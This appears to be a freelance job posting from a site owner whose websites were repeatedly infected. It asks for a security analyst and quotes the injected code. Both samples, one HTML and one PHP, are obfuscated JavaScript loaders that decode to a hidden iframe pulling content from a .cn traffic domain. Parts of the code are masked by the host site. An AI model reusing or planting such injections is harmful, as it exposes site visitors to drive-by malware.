Website got attcked: need security analyst

Hi, this is the second time that happened after changing hosting provider twice and i'm sure that thousands of people got effected. All of our websites got infected with this kind of code which is beeing injected in all [login to view URL], [login to view URL] and index.html. when the file is in htm format, the code is injected between the head tag and the body and looks like this: <script type="text/javascript">var cOTtEtyFSFfjldSGegJo = "lAOY60lAOY105lAOY102lAOY114lAOY97lAOY109lAOY101lA OY32lAOY119lAOY105lAOY100lAOY116lAOY104lAOY61lAOY3 4lAOY52lAOY56lAOY48lAOY34lAOY32lAOY104lAOY101lAOY1 05lAOY103lAOY104lAOY116lAOY61lAOY34lAOY54lAOY48lAO Y34lAOY32lAOY115lAOY114lAOY99lAOY61lAOY34lAOY104lA OY116lAOY116lAOY112lAOY58lAOY47lAOY47lAOY116lAOY11 4lAOY97lAOY102lAOY102lAOY105lAOY99lAOY115lAOY45lAO Y105lAOY110lAOY115lAOY112lAOY101lAOY99lAOY116lAOY1 11lAOY114lAOY46lAOY99lAOY110lAOY47lAOY100lAOY97lAO Y105lAOY108lAOY121lAOY95lAOY115lAOY116lAOY97lAOY11 6lAOY115lAOY47lAOY105lAOY110lAOY46lAOY99lAOY103lAO Y105lAOY63lAOY52lAOY34lAOY32lAOY115lAOY116lAOY121l AOY108lAOY101lAOY61lAOY34lAOY98lAOY111lAOY114lAOY1 00lAOY101lAOY114lAOY58lAOY48lAOY112lAOY120lAOY59lA OY32lAOY112lAOY111lAOY115lAOY105lAOY116lAOY105lAOY 111lAOY110lAOY58lAOY114lAOY101lAOY108lAOY97lAOY116 lAOY105lAOY118lAOY101lAOY59lAOY32lAOY116lAOY111lAO Y112lAOY58lAOY48lAOY112lAOY120lAOY59lAOY32lAOY108l AOY101lAOY102lAOY116lAOY58lAOY45lAOY53lAOY48lAOY48 lAOY112lAOY120lAOY59lAOY32lAOY111lAOY112lAOY97lAOY 99lAOY105lAOY116lAOY121lAOY58lAOY48lAOY59lAOY32lAO Y102lAOY105lAOY108lAOY116lAOY101lAOY114lAOY58lAOY1 12lAOY114lAOY111lAOY103lAOY105lAOY100lAOY58lAOY68l AOY88lAOY73lAOY109lAOY97lAOY103lAOY101lAOY84lAOY11 4lAOY97lAOY110lAOY115lAOY102lAOY111lAOY114lAOY109l AOY46lAOY77lAOY105lAOY99lAOY114lAOY111lAOY115lAOY1 11lAOY102lAOY116lAOY46lAOY65lAOY108lAOY112lAOY104l AOY97lAOY40lAOY111lAOY112lAOY97lAOY99lAOY105lAOY11 6lAOY121lAOY61lAOY48lAOY41lAOY59lAOY32lAOY45lAOY10 9lAOY111lAOY122lAOY45lAOY111lAOY112lAOY97lAOY99lAO Y105lAOY116lAOY121lAOY58lAOY48lAOY34lAOY62lAOY60lA OY47lAOY105lAOY102lAOY114lAOY97lAOY109lAOY101lAOY6 2";var aRaKwtvZBKReZlYeeWkx = [login to view URL]("lAOY");var cPgNszUXgdMGvmQsgMRi = "";for (var XjMxUkbzHLxjaexTdRrJ=1; XjMxUkbzHLxjaexTdRrJ<[login to view URL]; XjMxUkbzHLxjaexTdRrJ++){cPgNszUXgdMGvmQsgMRi+=Stri [login to view URL](aRaKwtvZBKReZlYeeWkx[XjMxUkbzHLxjaexTdRrJ]);}var BvcYOhYUIDCJXNobcdEr = ""+cPgNszUXgdMGvmQsgMRi+"";[login to view URL](""+BvcYO hYUIDCJXNobcdEr+"")</script> when the file is in php, the code is injected at the footer of the page and looks like this: <?php echo ''; ?><?php echo ''; ?><?php echo ''; ?><?php echo ''; ?><?php echo ''; ?><?php echo ''; ?><?php echo '<script type="text/javascript">var gtksvgWworhhokczySZM = "XEm60XEm105XEm102XEm114XEm97XEm109XEm101XEm32XEm1 19XEm105XEm100XEm116XEm104XEm61XEm34XEm52XEm56XEm4 8XEm34XEm32XEm104XEm101XEm105XEm103XEm104XEm116XEm 61XEm34XEm54XEm48XEm34XEm32XEm115XEm114XEm99XEm61X Em34XEm104XEm116XEm116XEm112XEm58XEm47XEm47XEm116X Em114XEm97XEm102XEm102XEm105XEm99XEm115XEm45XEm105 XEm110XEm115XEm112XEm101XEm99XEm116XEm111XEm114XEm 46XEm99XEm110XEm47XEm100XEm97XEm105XEm108XEm121XEm 95XEm115XEm116XEm97XEm116XEm115XEm47XEm105XEm110XE m46XEm99XEm103XEm105XEm63XEm51XEm34XEm32XEm115XEm1 16XEm121XEm108XEm101XEm61XEm34XEm98XEm111XEm114XEm 100XEm101XEm114XEm58XEm48XEm112XEm120XEm59XEm32XEm 112XEm111XEm115XEm105XEm116XEm105XEm111XEm110XEm58 XEm114XEm101XEm108XEm97XEm116XEm105XEm118XEm101XEm 59XEm32XEm116XEm111XEm112XEm58XEm48XEm112XEm120XEm 59XEm32XEm108XEm101XEm102XEm116XEm58XEm45XEm53XEm4 8XEm48XEm112XEm120XEm59XEm32XEm111XEm112XEm97XEm99 XEm105XEm116XEm121XEm58XEm48XEm59XEm32XEm102XEm105 XEm108XEm116XEm101XEm114XEm58XEm112XEm114XEm111XEm 103XEm105XEm100XEm58XEm68XEm88XEm73XEm109XEm97XEm1 03XEm101XEm84XEm114XEm97XEm110XEm115XEm102XEm111XE m114XEm109XEm46XEm77XEm105XEm99XEm114XEm111XEm115X Em111XEm102XEm116XEm46XEm65XEm108XEm112XEm104XEm97 XEm40XEm111XEm112XEm97XEm99XEm105XEm116XEm121XEm61 XEm48XEm41XEm59XEm32XEm45XEm109XEm111XEm122XEm45XE m111XEm112XEm97XEm99XEm105XEm116XEm121XEm58XEm48XE m34XEm62XEm60XEm47XEm105XEm102XEm114XEm97XEm109XEm 101XEm62";var eMFMDzBPQAHxusppYMmM = [login to view URL]("XEm");var DTtsEVsCoRPTdUfhThxk = "";for (var iEhcxXRVjEhnYbgcxYfm=1; iEhcxXRVjEhnYbgcxYfm<[login to view URL]; iEhcxXRVjEhnYbgcxYfm++){DTtsEVsCoRPTdUfhThxk+=Stri [login to view URL](eMFMDzBPQAHxusppYMmM[iEhcxXRVjEhnYbgcxYfm]);}[login to view URL](DTtsEVsCoRPTdUfhThxk)</script>'; ?> The strangest thing is that it infected all of our websites which are hosted on different accounts with different passwords. this happened when we were hosted with lunarpages. now we moved to hostmonster and another company. 5 differetn hosting packages, with 2 different hosting companies, so completely different websites, and they all got infected. and some are just HTML with no scripting on the page. some index pages were "under construction pages". this is very seroius as this code infects users when they visit our website, and google already marked our website as harmful in the search results. any help would be really appreaciated. Regards, Sami Baddar